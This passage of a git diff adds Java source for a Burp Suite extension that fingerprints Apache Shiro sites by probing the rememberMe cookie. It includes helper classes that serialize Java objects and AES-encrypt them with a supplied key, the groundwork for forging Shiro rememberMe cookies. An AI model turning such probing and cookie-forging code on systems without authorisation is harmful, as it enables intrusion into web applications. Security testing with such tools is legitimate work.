getRequestDefaultRememberMeCookieName(); + + String getRequestDefaultRememberMeCookieValue(); + + String getResponseDefaultRememberMeCookieName(); + + String getResponseDefaultRememberMeCookieValue(); + + IHttpRequestResponse getHttpRequestResponse(); + + IScanIssue export(); + + void consoleExport(); +} diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.java new file mode 100644 index 0000000..3b254bc --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint1.java @@ -0,0 +1,142 @@ +package burp.Application.ShiroFingerprintExtension.ExtensionMethod; + +import burp.*; +import burp.Application.ShiroFingerprintExtension.ExtensionInterface.AShiroFingerprintExtension; +import burp.Bootstrap.YamlReader; + +import java.io.PrintWriter; +import java.net.URL; + +public class ShiroFingerprint1 extends AShiroFingerprintExtension { + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private String rememberMeCookieName = "rememberMe"; + private String rememberMeCookieValue = "1"; + + public ShiroFingerprint1(IBurpExtenderCallbacks callbacks, YamlReader yamlReader, IHttpRequestResponse baseRequestResponse) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + + this.yamlReader = yamlReader; + + this.baseRequestResponse = baseRequestResponse; + + this.setExtensionName("ShiroFingerprint1"); + + this.runConditionCheck(); + } + + private void runConditionCheck() { + this.registerExtension(); + } + + public void runExtension() { + if (!this.isRunExtension()) { + return; + } + + IHttpService httpService = this.baseRequestResponse.getHttpService(); + + IParameter newParameter = this.helpers.buildParameter(this.rememberMeCookieName, this.rememberMeCookieValue, (byte) 2); + byte[] newRequest = this.helpers.updateParameter(this.baseRequestResponse.getRequest(), newParameter); + IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(httpService, newRequest); + + this.setHttpRequestResponse(newHttpRequestResponse); + + for (ICookie c : this.helpers.analyzeResponse(newHttpRequestResponse.getResponse()).getCookies()) { + if (c.getName().equals(this.rememberMeCookieName)) { + this.setShiroFingerprint(); + + this.setRequestDefaultRememberMeCookieName(this.rememberMeCookieName); + this.setRequestDefaultRememberMeCookieValue(this.rememberMeCookieValue); + + this.setResponseDefaultRememberMeCookieName(c.getName()); + this.setResponseDefaultRememberMeCookieValue(c.getValue()); + break; + } + } + } + + @Override + public IScanIssue export() { + if (!this.isRunExtension()) { + return null; + } + + if (!this.isShiroFingerprint()) { + return null; + } + + IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); + + String str1 = String.format("
============ShiroFingerprintDetail============
"); + String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); + String str3 = String.format("RequestCookiePayload: %s=%s
", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue()); + String str4 = String.format("ResponseReturnCookie: %s=%s
", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue()); + String str5 = String.format("=====================================
"); + + String detail = str1 + str2 + str3 + str4 + str5; + + String shiroFingerprintIssueName = this.yamlReader.getString("application.shiroFingerprintExtension.config.issueName"); + + return new CustomScanIssue( + newHttpRequestUrl, + shiroFingerprintIssueName, + 0, + "Information", + "Certain", + null, + null, + detail, + null, + new IHttpRequestResponse[]{newHttpRequestResponse}, + newHttpRequestResponse.getHttpService() + ); + } + + @Override + public void consoleExport() { + if (!this.isRunExtension()) { + return; + } + + if (!this.isShiroFingerprint()) { + return; + } + + IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); + String newHttpRequestMethod = this.helpers.analyzeRequest(newHttpRequestResponse.getRequest()).getMethod(); + int newHttpResponseStatusCode = this.helpers.analyzeResponse(newHttpRequestResponse.getResponse()).getStatusCode(); + + PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); + + stdout.println(""); + stdout.println("==============shiro指纹详情============"); + stdout.println("你好呀~ (≧ω≦*)喵~"); + stdout.println("这边检测到有一个站点使用了 shiro框架 喵~"); + stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); + stdout.println(String.format("url: %s", newHttpRequestUrl)); + stdout.println(String.format("请求方法: %s", newHttpRequestMethod)); + stdout.println(String.format("页面http状态: %d", newHttpResponseStatusCode)); + stdout.println(String.format("请求对应的cookie: %s=%s", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue())); + stdout.println(String.format("响应返回的cookie: %s=%s", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue())); + stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); + stdout.println("==================================="); + stdout.println(""); + } +} diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.java new file mode 100644 index 0000000..59d35bb --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint2.java @@ -0,0 +1,173 @@ +package burp.Application.ShiroFingerprintExtension.ExtensionMethod; + +import burp.*; +import burp.Application.ShiroFingerprintExtension.ExtensionInterface.AShiroFingerprintExtension; +import burp.Bootstrap.YamlReader; + +import java.io.PrintWriter; +import java.net.URL; + +public class ShiroFingerprint2 extends AShiroFingerprintExtension { + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private String rememberMeCookieValue = "2"; + + public ShiroFingerprint2(IBurpExtenderCallbacks callbacks, YamlReader yamlReader, IHttpRequestResponse baseRequestResponse) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + + this.yamlReader = yamlReader; + + this.baseRequestResponse = baseRequestResponse; + + this.setExtensionName("ShiroFingerprint2"); + + this.runConditionCheck(); + } + + /** + * 原始请求响应返回 cookie 的 value 带了 deleteMe 则进入该流程 + */ + private void runConditionCheck() { + for (ICookie c : this.helpers.analyzeResponse(this.baseRequestResponse.getResponse()).getCookies()) { + if (c.getValue().equals("deleteMe")) { + this.registerExtension(); + break; + } + } + } + + public void runExtension() { + if (!this.isRunExtension()) { + return; + } + + // 先保存一个基础的请求响应 + this.setHttpRequestResponse(this.baseRequestResponse); + + for (ICookie c : this.helpers.analyzeResponse(this.baseRequestResponse.getResponse()).getCookies()) { + if (c.getValue().equals("deleteMe")) { + this.setShiroFingerprint(); + + // 通过返回包的key重新构造一个请求发过去 + // 这样二次确认过的请求响应, 可以获得最真实的结果 + IHttpRequestResponse newHttpRequestResponse = this.getNewHttpRequestResponse( + c.getName(), + this.rememberMeCookieValue); + + // 二次确认的请求确定是shiro框架了 + // 保存这个最真实的结果, 覆盖上面那个基础的请求响应 + this.setHttpRequestResponse(newHttpRequestResponse); + + this.setRequestDefaultRememberMeCookieName(c.getName()); + this.setRequestDefaultRememberMeCookieValue(this.rememberMeCookieValue); + + this.setResponseDefaultRememberMeCookieName(c.getName()); + this.setResponseDefaultRememberMeCookieValue(c.getValue()); + break; + } + } + } + + /** + * 获取新的http请求响应 + * + * @param rememberMeCookieName + * @param rememberMeCookieValue + * @return IHttpRequestResponse + */ + private IHttpRequestResponse getNewHttpRequestResponse(String rememberMeCookieName, String rememberMeCookieValue) { + IHttpService httpService = this.baseRequestResponse.getHttpService(); + IParameter newParameter = this.helpers.buildParameter( + rememberMeCookieName, + rememberMeCookieValue, + (byte) 2); + byte[] newRequest = this.helpers.updateParameter(this.baseRequestResponse.getRequest(), newParameter); + IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(httpService, newRequest); + return newHttpRequestResponse; + } + + @Override + public IScanIssue export() { + if (!this.isRunExtension()) { + return null; + } + + if (!this.isShiroFingerprint()) { + return null; + } + + IHttpRequestResponse baseHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(baseHttpRequestResponse).getUrl(); + + String str1 = String.format("
============ShiroFingerprintDetail============
"); + String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); + String str3 = String.format("RequestCookiePayload: %s=%s
", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue()); + String str4 = String.format("ResponseReturnCookie: %s=%s
", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue()); + String str5 = String.format("=====================================
"); + + String detail = str1 + str2 + str3 + str4 + str5; + + String shiroFingerprintIssueName = this.yamlReader.getString("application.shiroFingerprintExtension.config.issueName"); + + return new CustomScanIssue( + newHttpRequestUrl, + shiroFingerprintIssueName, + 0, + "Information", + "Certain", + null, + null, + detail, + null, + new IHttpRequestResponse[]{baseHttpRequestResponse}, + baseHttpRequestResponse.getHttpService() + ); + } + + @Override + public void consoleExport() { + if (!this.isRunExtension()) { + return; + } + + if (!this.isShiroFingerprint()) { + return; + } + + IHttpRequestResponse baseHttpRequestResponse = this.getHttpRequestResponse(); + URL baseHttpRequestUrl = this.helpers.analyzeRequest(baseHttpRequestResponse).getUrl(); + String baseHttpRequestMethod = this.helpers.analyzeRequest(baseHttpRequestResponse.getRequest()).getMethod(); + int baseHttpResponseStatusCode = this.helpers.analyzeResponse(baseHttpRequestResponse.getResponse()).getStatusCode(); + + PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); + + stdout.println(""); + stdout.println("=============shiro指纹详情============"); + stdout.println("你好呀~ (≧ω≦*)喵~"); + stdout.println("这边检测到有一个站点使用了 shiro框架 喵~"); + stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); + stdout.println(String.format("url: %s", baseHttpRequestUrl)); + stdout.println(String.format("请求方法: %s", baseHttpRequestMethod)); + stdout.println(String.format("页面http状态: %d", baseHttpResponseStatusCode)); + stdout.println("注意: 原始请求响应返回了 shiro 关键字所以没有发送新请求"); + stdout.println(String.format("请求对应的cookie: %s=%s", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue())); + stdout.println(String.format("响应返回的cookie: %s=%s", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue())); + stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); + stdout.println("==================================="); + stdout.println(""); + } +} diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.java new file mode 100644 index 0000000..60a8c95 --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionMethod/ShiroFingerprint3.java @@ -0,0 +1,161 @@ +package burp.Application.ShiroFingerprintExtension.ExtensionMethod; + +import burp.*; +import burp.Application.ShiroFingerprintExtension.ExtensionInterface.AShiroFingerprintExtension; +import burp.Bootstrap.YamlReader; + +import java.io.PrintWriter; +import java.net.URL; + +public class ShiroFingerprint3 extends AShiroFingerprintExtension { + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private String rememberMeCookieName = "rememberMe"; + private String rememberMeCookieValue = "3"; + + public ShiroFingerprint3(IBurpExtenderCallbacks callbacks, YamlReader yamlReader, IHttpRequestResponse baseRequestResponse) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + + this.yamlReader = yamlReader; + + this.baseRequestResponse = baseRequestResponse; + + this.setExtensionName("ShiroFingerprint3"); + + this.runConditionCheck(); + } + + /** + * 原始请求 cookie 的 key 带了 rememberMe 则进入该流程 + */ + private void runConditionCheck() { + for (IParameter p : this.helpers.analyzeRequest(this.baseRequestResponse.getRequest()).getParameters()) { + if (p.getType() != 2) { + continue; + } + if (!p.getName().equals(this.rememberMeCookieName)) { + continue; + } + if (p.getValue() == null || p.getValue().length() <= 0) { + continue; + } + + for (ICookie c : this.helpers.analyzeResponse(this.baseRequestResponse.getResponse()).getCookies()) { + if (c.getName().equals(this.rememberMeCookieName)) { + if (c.getValue().equals("deleteMe")) { + this.registerExtension(); + return; + } + } + } + } + } + + public void runExtension() { + if (!this.isRunExtension()) { + return; + } + + this.setHttpRequestResponse(this.baseRequestResponse); + + for (ICookie c : this.helpers.analyzeResponse(this.baseRequestResponse.getResponse()).getCookies()) { + if (c.getName().equals(this.rememberMeCookieName)) { + if (c.getValue().equals("deleteMe")) { + this.setShiroFingerprint(); + + this.setRequestDefaultRememberMeCookieName(this.rememberMeCookieName); + this.setRequestDefaultRememberMeCookieValue(this.rememberMeCookieValue); + + this.setResponseDefaultRememberMeCookieName(c.getName()); + this.setResponseDefaultRememberMeCookieValue(c.getValue()); + break; + } + } + } + } + + @Override + public IScanIssue export() { + if (!this.isRunExtension()) { + return null; + } + + if (!this.isShiroFingerprint()) { + return null; + } + + IHttpRequestResponse baseHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(baseHttpRequestResponse).getUrl(); + + String str1 = String.format("
============ShiroFingerprintDetail============
"); + String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); + String str3 = String.format("RequestCookiePayload: %s=%s
", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue()); + String str4 = String.format("ResponseReturnCookie: %s=%s
", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue()); + String str5 = String.format("=====================================
"); + + String detail = str1 + str2 + str3 + str4 + str5; + + String shiroFingerprintIssueName = this.yamlReader.getString("application.shiroFingerprintExtension.config.issueName"); + + return new CustomScanIssue( + newHttpRequestUrl, + shiroFingerprintIssueName, + 0, + "Information", + "Certain", + null, + null, + detail, + null, + new IHttpRequestResponse[]{baseHttpRequestResponse}, + baseHttpRequestResponse.getHttpService() + ); + } + + @Override + public void consoleExport() { + if (!this.isRunExtension()) { + return; + } + + if (!this.isShiroFingerprint()) { + return; + } + + IHttpRequestResponse baseHttpRequestResponse = this.getHttpRequestResponse(); + URL baseHttpRequestUrl = this.helpers.analyzeRequest(baseHttpRequestResponse).getUrl(); + String baseHttpRequestMethod = this.helpers.analyzeRequest(baseHttpRequestResponse.getRequest()).getMethod(); + int baseHttpResponseStatusCode = this.helpers.analyzeResponse(baseHttpRequestResponse.getResponse()).getStatusCode(); + + PrintWriter stdout = new PrintWriter(this.callbacks.getStdout(), true); + + stdout.println(""); + stdout.println("==============shiro指纹详情============"); + stdout.println("你好呀~ (≧ω≦*)喵~"); + stdout.println("这边检测到有一个站点使用了 shiro框架 喵~"); + stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); + stdout.println(String.format("url: %s", baseHttpRequestUrl)); + stdout.println(String.format("请求方法: %s", baseHttpRequestMethod)); + stdout.println(String.format("页面http状态: %d", baseHttpResponseStatusCode)); + stdout.println("注意: 原始请求自己添加了 shiro 关键字所以没有发送新请求"); + stdout.println(String.format("请求对应的cookie: %s=%s", + this.getRequestDefaultRememberMeCookieName(), + this.getRequestDefaultRememberMeCookieValue())); + stdout.println(String.format("响应返回的cookie: %s=%s", + this.getResponseDefaultRememberMeCookieName(), + this.getResponseDefaultRememberMeCookieValue())); + stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); + stdout.println("==================================="); + stdout.println(""); + } +} diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.java new file mode 100644 index 0000000..c5b2d58 --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ShiroFingerprint.java @@ -0,0 +1,57 @@ +package burp.Application.ShiroFingerprintExtension; + +import burp.IHttpRequestResponse; +import burp.IBurpExtenderCallbacks; + +import burp.Bootstrap.YamlReader; + +import burp.Application.ShiroFingerprintExtension.ExtensionMethod.ShiroFingerprint1; +import burp.Application.ShiroFingerprintExtension.ExtensionMethod.ShiroFingerprint2; +import burp.Application.ShiroFingerprintExtension.ExtensionMethod.ShiroFingerprint3; + +import burp.Application.ShiroFingerprintExtension.ExtensionInterface.IShiroFingerprintExtension; + +public class ShiroFingerprint { + private IBurpExtenderCallbacks callbacks; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private IShiroFingerprintExtension shiroFingerprint; + + public ShiroFingerprint(IBurpExtenderCallbacks callbacks, YamlReader yamlReader, IHttpRequestResponse baseRequestResponse) { + this.callbacks = callbacks; + + this.yamlReader = yamlReader; + + this.baseRequestResponse = baseRequestResponse; + + this.shiroFingerprint = setShiroFingerprint(); + } + + private IShiroFingerprintExtension setShiroFingerprint() { + // 原始请求 cookie 的 key 带了 rememberMe 则进入该流程 + ShiroFingerprint3 shiroFingerprint3 = new ShiroFingerprint3(this.callbacks, this.yamlReader, this.baseRequestResponse); + if (shiroFingerprint3.isRunExtension()) { + shiroFingerprint3.runExtension(); + return shiroFingerprint3; + } + + // 原始请求响应返回 cookie 的 value 带了 deleteMe 则进入该流程 + ShiroFingerprint2 shiroFingerprint2 = new ShiroFingerprint2(this.callbacks, this.yamlReader, this.baseRequestResponse); + if (shiroFingerprint2.isRunExtension()) { + shiroFingerprint2.runExtension(); + return shiroFingerprint2; + } + + // 上面的条件都不满足时,进入该流程 + ShiroFingerprint1 shiroFingerprint1 = new ShiroFingerprint1(this.callbacks, this.yamlReader, this.baseRequestResponse); + shiroFingerprint1.runExtension(); + return shiroFingerprint1; + } + + public IShiroFingerprintExtension run() { + return this.shiroFingerprint; + } +} diff --git a/src/main/java/burp/Bootstrap/CustomBurpHelpers.java b/src/main/java/burp/Bootstrap/CustomBurpHelpers.java new file mode 100644 index 0000000..3e4bf91 --- /dev/null +++ b/src/main/java/burp/Bootstrap/CustomBurpHelpers.java @@ -0,0 +1,68 @@ +package burp.Bootstrap; + +import java.io.File; +import java.io.UnsupportedEncodingException; + +import burp.*; + +public class CustomBurpHelpers { + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + + public CustomBurpHelpers(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + } + + /** + * 获取-插件运行路径 + * + * @return + */ + public String getExtensionFilePath() { + String path = ""; + Integer lastIndex = this.callbacks.getExtensionFilename().lastIndexOf(File.separator); + path = this.callbacks.getExtensionFilename().substring(0, lastIndex) + File.separator; + return path; + } + + /** + * 获取请求的Body内容 + * + * @return String + */ + public String getHttpRequestBody(byte[] request) { + IRequestInfo requestInfo = this.helpers.analyzeRequest(request); + + int httpRequestBodyOffset = requestInfo.getBodyOffset(); + int httpRequestBodyLength = request.length - httpRequestBodyOffset; + + String httpRequestBody = null; + try { + httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8"); + } catch (UnsupportedEncodingException e) { + throw new RuntimeException(e); + } + return httpRequestBody; + } + + /** + * 获取响应的Body内容 + * + * @return String + */ + public String getHttpResponseBody(byte[] response) { + IResponseInfo responseInfo = this.helpers.analyzeResponse(response); + + int httpResponseBodyOffset = responseInfo.getBodyOffset(); + int httpResponseBodyLength = response.length - httpResponseBodyOffset; + + String httpResponseBody = null; + try { + httpResponseBody = new String(response, httpResponseBodyOffset, httpResponseBodyLength, "UTF-8"); + } catch (UnsupportedEncodingException e) { + throw new RuntimeException(e); + } + return httpResponseBody; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/CustomBurpUrl.java b/src/main/java/burp/Bootstrap/CustomBurpUrl.java new file mode 100644 index 0000000..d22f48f --- /dev/null +++ b/src/main/java/burp/Bootstrap/CustomBurpUrl.java @@ -0,0 +1,106 @@ +package burp.Bootstrap; + +import java.net.URL; +import java.io.PrintWriter; +import java.net.MalformedURLException; + +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import burp.IBurpExtenderCallbacks; + +public class CustomBurpUrl { + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + + public PrintWriter stderr; + + private IHttpRequestResponse requestResponse; + + public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) { + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + this.stderr = new PrintWriter(callbacks.getStderr(), true); + + this.requestResponse = requestResponse; + } + + public IHttpRequestResponse requestResponse() { + return this.requestResponse; + } + + /** + * 获取-请求协议 + * + * @return + */ + public String getRequestProtocol() { + return this.requestResponse.getHttpService().getProtocol(); + } + + /** + * 获取-请求主机 + * + * @return + */ + public String getRequestHost() { + return this.requestResponse.getHttpService().getHost(); + } + + /** + * 获取-请求端口 + * + * @return + */ + public int getRequestPort() { + return this.requestResponse.getHttpService().getPort(); + } + + /** + * 获取-请求路径 + * + * @return + */ + public String getRequestPath() { + return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath(); + } + + /** + * 获取-请求参数 + * + * @return + */ + public String getRequestQuery() { + return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery(); + } + + /** + * 获取-请求域名名称 + * + * @return + */ + public String getRequestDomainName() { + if (this.getRequestPort() == 80 || this.getRequestPort() == 443) { + return this.getRequestProtocol() + "://" + this.getRequestHost(); + } else { + return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort(); + } + } + + /** + * 获取-获取http请求url + * + * @return + */ + public URL getHttpRequestUrl() { + try { + if (this.getRequestQuery() == null) { + return new URL(this.getRequestDomainName() + this.getRequestPath()); + } else { + return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery()); + } + } catch (MalformedURLException e) { + e.printStackTrace(this.stderr); + } + return null; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/CustomHelpers.java b/src/main/java/burp/Bootstrap/CustomHelpers.java new file mode 100644 index 0000000..46f43be --- /dev/null +++ b/src/main/java/burp/Bootstrap/CustomHelpers.java @@ -0,0 +1,73 @@ +package burp.Bootstrap; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + +public class CustomHelpers { + /** + * 获取精确到秒的时间戳 + * + * @param date + * @return Integer + */ + public static Integer getSecondTimestamp(Date date) { + if (null == date) { + return 0; + } + String timestamp = String.valueOf(date.getTime() / 1000); + return Integer.valueOf(timestamp); + } + + /** + * 列表块分割函数 + * 功能: 把列表按照size分割成指定的list快返回 + * 例子1: + * a = [1, 2, 3, 4, 5, 6, 7, 8, 9] + * listChunkSplit(a, 2) + * 返回: [[1, 2, 3, 4, 5], [6, 7, 8, 9]] + * 例子2: + * a = [1, 2, 3, 4, 5, 6, 7, 8, 9] + * listChunkSplit(a, 10) + * 返回: [[1], [2], [3], [4], [5], [6], [7], [8], [9]] + * + * @param dataSource 数据源 + * @param groupSize 一个整数, 规定最多分成几个list + * @return List> + */ + public static List> listChunkSplit(List dataSource, Integer groupSize) { + List> result = new ArrayList<>(); + + if (dataSource.size() == 0 || groupSize == 0) { + return result; + } + + // 偏移量 + int offset = 0; + + // 计算 商 + int number = dataSource.size() / groupSize; + + // 计算 余数 + int remainder = dataSource.size() % groupSize; + + for (int i = 0; i < groupSize; i++) { + List value = null; + if (remainder > 0) { + value = dataSource.subList(i * number + offset, (i + 1) * number + offset + 1); + remainder--; + offset++; + } else { + value = dataSource.subList(i * number + offset, (i + 1) * number + offset); + } + + if (value.size() == 0) { + break; + } + + result.add(value); + } + + return result; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/DiffPage.java b/src/main/java/burp/Bootstrap/DiffPage.java new file mode 100644 index 0000000..0d785df --- /dev/null +++ b/src/main/java/burp/Bootstrap/DiffPage.java @@ -0,0 +1,114 @@ +package burp.Bootstrap; + +public class DiffPage { + /** + * 返回经过过滤无用的数据以后两个字符串的相似度 + * + * @param str + * @param target + * @return + */ + public static double getRatio(String str, String target) { + str = getFilteredPageContent(str); + target = getFilteredPageContent(target); + return getSimilarityRatio(str, target); + } + + /** + * 返回经过过滤的页面内容,不包含脚本、样式和/或注释 + * 或所有HTML标签 + * 调用 getFilteredPageContent("foobartest") + * 返回内容: foobartest + * + * @param htmlStr + * @return String + */ + public static String getFilteredPageContent(String htmlStr) { + // 将实体字符串转义返回 如: "<"="<", ">"=">", """="\"", " "=" ", "&"="&" + htmlStr = htmlStr.replace("<", "<"); + htmlStr = htmlStr.replace(">", ">"); + htmlStr = htmlStr.replace(""", "\""); + htmlStr = htmlStr.replace(" ", " "); + htmlStr = htmlStr.replace("&", "&"); + + //定义script的正则表达式,去除js可以防止注入 + String scriptRegex = "]*?>[\\s\\S]*?<\\/script>"; + //定义style的正则表达式,去除style样式,防止css代码过多时只截取到css样式代码 + String styleRegex = "]*?>[\\s\\S]*?<\\/style>"; + //定义HTML标签的正则表达式,去除标签,只提取文字内容 + String htmlRegex = "<[^>]+>"; + // 定义一些特殊字符的正则表达式 如:      + String specialRegex1 = "\\&[a-zA-Z]{1,10};"; + // 定义一些特殊字符的正则表达式 如: + String specialRegex2 = "\\&#[a-zA-Z0-9]{1,10};"; + //定义空格,回车,换行符,制表符 + String spaceRegex = "\\s*|\t|\r|\n"; + + // 过滤script标签 + htmlStr = htmlStr.replaceAll(scriptRegex, ""); + // 过滤style标签 + htmlStr = htmlStr.replaceAll(styleRegex, ""); + // 过滤html标签 + htmlStr = htmlStr.replaceAll(htmlRegex, ""); + // 去除特殊字符 + htmlStr = htmlStr.replaceAll(specialRegex1, ""); + htmlStr = htmlStr.replaceAll(specialRegex2, ""); + // 过滤空格等 + htmlStr = htmlStr.replaceAll(spaceRegex, ""); + + return htmlStr.trim(); + } + + /** + * 两个字符串相似度匹配 + * + * @param str + * @param target + * @return double + */ + public static double getSimilarityRatio(String str, String target) { + if (str.equals(target)) { + return 1; + } + + int d[][]; // 矩阵 + int n = str.length(); + int m = target.length(); + int i; // 遍历str的 + int j; // 遍历target的 + char ch1; // str的 + char ch2; // target的 + int temp; // 记录相同字符,在某个矩阵位置值的增量,不是0就是1 + if (n == 0 || m == 0) { + return 0; + } + d = new int[n + 1][m + 1]; + // 初始化第一列 + for (i = 0; i <= n; i++) { + d[i][0] = i; + } + + // 初始化第一行 + for (j = 0; j <= m; j++) { + d[0][j] = j; + } + + // 遍历str + for (i = 1; i <= n; i++) { + ch1 = str.charAt(i - 1); + // 去匹配target + for (j = 1; j <= m; j++) { + ch2 = target.charAt(j - 1); + if (ch1 == ch2 || ch1 == ch2 + 32 || ch1 + 32 == ch2) { + temp = 0; + } else { + temp = 1; + } + // 左边+1,上边+1, 左上角+temp取最小 + d[i][j] = Math.min(Math.min(d[i - 1][j] + 1, d[i][j - 1] + 1), d[i - 1][j - 1] + temp); + } + } + + return (1 - (double) d[n][m] / Math.max(str.length(), target.length())); + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/Encrypt/CbcEncrypt.java b/src/main/java/burp/Bootstrap/Encrypt/CbcEncrypt.java new file mode 100644 index 0000000..44222c9 --- /dev/null +++ b/src/main/java/burp/Bootstrap/Encrypt/CbcEncrypt.java @@ -0,0 +1,36 @@ +package burp.Bootstrap.Encrypt; + +import org.apache.shiro.codec.Base64; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +public class CbcEncrypt implements EncryptInterface { + @Override + public String getName() { + return "cbc"; + } + + @Override + public byte[] getBytes(Object obj) throws IOException { + ByteArrayOutputStream byteArrayOutputStream = null; + ObjectOutputStream objectOutputStream = null; + byteArrayOutputStream = new ByteArrayOutputStream(); + objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); + objectOutputStream.writeObject(obj); + objectOutputStream.flush(); + return byteArrayOutputStream.toByteArray(); + } + + @Override + public String encrypt(String key, byte[] objectBytes) { + byte[] keyDecode = Base64.decode(key); + AesCipherService cipherService = new AesCipherService(); + ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode); + byte[] value = byteSource.getBytes(); + return new String(Base64.encode(value)); + } +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/Encrypt/EncryptInterface.java b/src/main/java/burp/Bootstrap/Encrypt/EncryptInterface.java new file mode 100644 index 0000000..24a6ed3 --- /dev/null +++ b/src/main/java/burp/Bootstrap/Encrypt/EncryptInterface.java @@ -0,0 +1,11 @@ +package burp.Bootstrap.Encrypt; + +import java.io.IOException; + +public interface EncryptInterface { + byte[] getBytes(Object obj) throws IOException; + + String encrypt(String key, byte[] objectBytes); + + String getName(); +} \ No newline at end of file diff --git a/src/main/java/burp/Bootstrap/Encrypt/GcmEncrypt.java b/src/main/java/burp/Bootstrap/Encrypt/GcmEncrypt.java new file mode 100644 index 0000000..df36b47 --- /dev/null +++ b/src/main/java/burp/Bootstrap/Encrypt/GcmEncrypt.java @@ -0,0 +1,101 @@ +package burp.Bootstrap.Encrypt; + +import org.apache.shiro.codec.Base64; + +import javax.crypto.Cipher; +import javax.crypto.spec.GCMParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; + +public class GcmEncrypt implements EncryptInterface { + @Override + public String getName() { + return "gcm"; + } + + @Override + public byte[] getBytes(Object obj) throws IOException { + ByteArrayOutputStream byteArrayOutputStream = null; + ObjectOutputStream objectOutputStream = null; + byteArrayOutputStream = new ByteArrayOutputStream(); + objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); + objectOutputStream.writeObject(obj); + objectOutputStream.flush(); + return 